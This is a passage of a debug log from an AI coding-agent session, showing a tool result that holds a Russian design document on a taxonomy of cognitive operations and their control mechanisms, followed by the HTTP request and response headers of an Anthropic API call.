\u0443\u0440\u043e\u0432\u043d\u044f.\\n5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\n   \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n   \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 (`T-2`).\\n6. \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 **33 \u043d\u0430\u0432\u044b\u043a\u043e\u0432** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u041d\u0430\u0432\u044b\u043a \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c (`EX-4`).\\n7. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043e\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f:\\n   \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u043e\u0446\u0435\u043d\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441\u0445\u0435\u043c\u043e\u0439, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f.\\n8. \u041c\u0438\u043a\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (\u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u00bb, \u00ab\u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb) \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\n\\n\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n\u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0432 \u0432\u044b\u0445\u043e\u0434\u0435. \u042d\u0442\u043e \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u041e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 | \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e | \u0420\u0438\u0441\u043a |\\n| --- | --- | --- | --- |\\n| `extract` \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\u0437 \u0432\u0445\u043e\u0434\u0430; \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f | `G6` \u0432\u043d\u0435\u0448\u043d\u044f\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 |\\n| `transform` \u2014 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0438\u043b\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u043d\u0435 \u0441\u043c\u044b\u0441\u043b | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| `check` \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0432\u0445\u043e\u0434\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 + `G6` \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432, \u0432\u044b\u0440\u0430\u0437\u0438\u043c\u044b\u0445 \u043a\u043e\u0434\u043e\u043c | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043f\u044f\u0442\u044c, \u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435.** \u041a\u043b\u0430\u0441\u0441 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\\n\u043c\u0435\u043d\u044f\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. `transform` \u0438 `extract` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u043a\u043e\u0439 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u0430 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u0445\u0435\u043c\u043e\u0439.\\n`check` \u0438 `assess` \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\\n\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u0432\u044b\u0431\u043e\u0440 \u2014 \u043d\u0430 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043b\u0430\u0441\u0441, \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0432\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044e \u043d\u0435 \u0432\u043d\u043e\u0441\u0438\u0442\u0441\u044f (Anti-Inflation).\\n\\n## 4. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u0451\u0440\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0439. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430.\\n\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f (`LG-1`,\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n\\n**\u0427\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u0440\u0435\u0435\u0441\u0442\u0440\u0430.** \u041d\u0438 \u043e\u0434\u043d\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043e \u0431\u0435\u0437 \u0437\u0430\u043c\u0435\u043d\u044b, \u0438 \u043d\u0438\\n\u043e\u0434\u043d\u043e \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c: \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\n`D4`, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\\n\\n## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\\n- \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\",\n[2026-09-29T07:47:05.232Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:05.232Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:05.232Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:05.232Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:05.232Z] [INFO]   }\n[2026-09-29T07:47:05.232Z] [INFO] }\n[2026-09-29T07:47:05.293Z] [STDOUT] [log_3cc11f] sending request {\n[2026-09-29T07:47:05.297Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:05.301Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:05.306Z] [STDOUT]   options: {\n[2026-09-29T07:47:05.309Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:05.312Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:05.317Z] [STDOUT]     body: {\n[2026-09-29T07:47:05.321Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:05.325Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:05.329Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:05.335Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:05.340Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:05.343Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:05.347Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:05.352Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:05.358Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:05.366Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:05.371Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:05.377Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:05.382Z] [STDOUT]     },\n[2026-09-29T07:47:05.387Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:05.390Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:05.401Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:05.406Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:05.409Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:05.413Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:05.420Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:05.423Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:05.429Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:05.433Z] [STDOUT]     },\n[2026-09-29T07:47:05.438Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:05.441Z] [STDOUT]   },\n[2026-09-29T07:47:05.447Z] [STDOUT]   headers: {\n[2026-09-29T07:47:05.450Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:05.457Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:05.464Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:05.470Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:05.479Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:05.487Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:05.495Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:05.500Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:05.503Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:05.506Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2001\",\n[2026-09-29T07:47:05.509Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:05.513Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:05.515Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:05.525Z] [STDOUT]     \"x-client-request-id\": \"7e71cdc4-76cc-4b35-89ca-e66f8f24f63a\",\n[2026-09-29T07:47:05.528Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:05.530Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:05.533Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:05.535Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:05.539Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:05.548Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:05.553Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:05.560Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:05.566Z] [STDOUT]   },\n[2026-09-29T07:47:05.568Z] [STDOUT] }\n[2026-09-29T07:47:06.088Z] [STDOUT] [log_3cc11f, request-id: \"req_011CfXMtAiPU9zQsoKcH4RBV\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 796ms\n[2026-09-29T07:47:06.099Z] [STDOUT] [log_3cc11f] response start {\n[2026-09-29T07:47:06.103Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:06.110Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:06.113Z] [STDOUT]   headers: {\n[2026-09-29T07:47:06.116Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:06.122Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:06.131Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:06.135Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:06.147Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:06.154Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.159Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:06.161Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:06.165Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:06.171Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:06.176Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:06.181Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:06.187Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:06.191Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.194Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:06.196Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:06.199Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:06.202Z] [STDOUT]     \"cf-ray\": \"a42960b61fc0dbb5-FRA\",\n[2026-09-29T07:47:06.206Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:06.212Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:06.217Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:06.220Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:06.223Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:06 GMT\",\n[2026-09-29T07:47:06.226Z] [STDOUT]     \"request-id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\",\n[2026-09-29T07:47:06.228Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:06.231Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:06.235Z] [STDOUT]     traceresponse: \"00-153645f1b0fac6817ecb364f10c96ffb-03b996eda538f56d-01\",\n[2026-09-29T07:47:06.238Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:06.242Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:06.248Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:06.271Z] [STDOUT]   },\n[2026-09-29T07:47:06.278Z] [STDOUT]   durationMs: 796,\n[2026-09-29T07:47:06.282Z] [STDOUT] }\n[2026-09-29T07:47:06.284Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:06.289Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:06 GMT\",\n[2026-09-29T07:47:06.293Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:06.298Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:06.301Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:06.304Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:06.310Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:06.315Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:06.319Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:06.327Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:06.331Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:06.335Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:06.342Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:06.347Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:06.351Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:06.356Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:06.360Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:06.363Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.369Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:06.374Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:06.376Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:06.378Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:06.385Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:06.389Z] [STDOUT]   \"request-id\": \"req_011CfXMtAiPU9zQsoKcH4RBV\",\n[2026-09-29T07:47:06.395Z] [STDOUT]   \"traceresponse\": \"00-153645f1b0fac6817ecb364f10c96ffb-03b996eda538f56d-01\",\n[2026-09-29T07:47:06.400Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:06.403Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:06.408Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:06.415Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:06.419Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:06.424Z] [STDOUT]   \"cf-ray\": \"a42960b61fc0dbb5-FRA\",\n[2026-09-29T07:47:06.430Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false 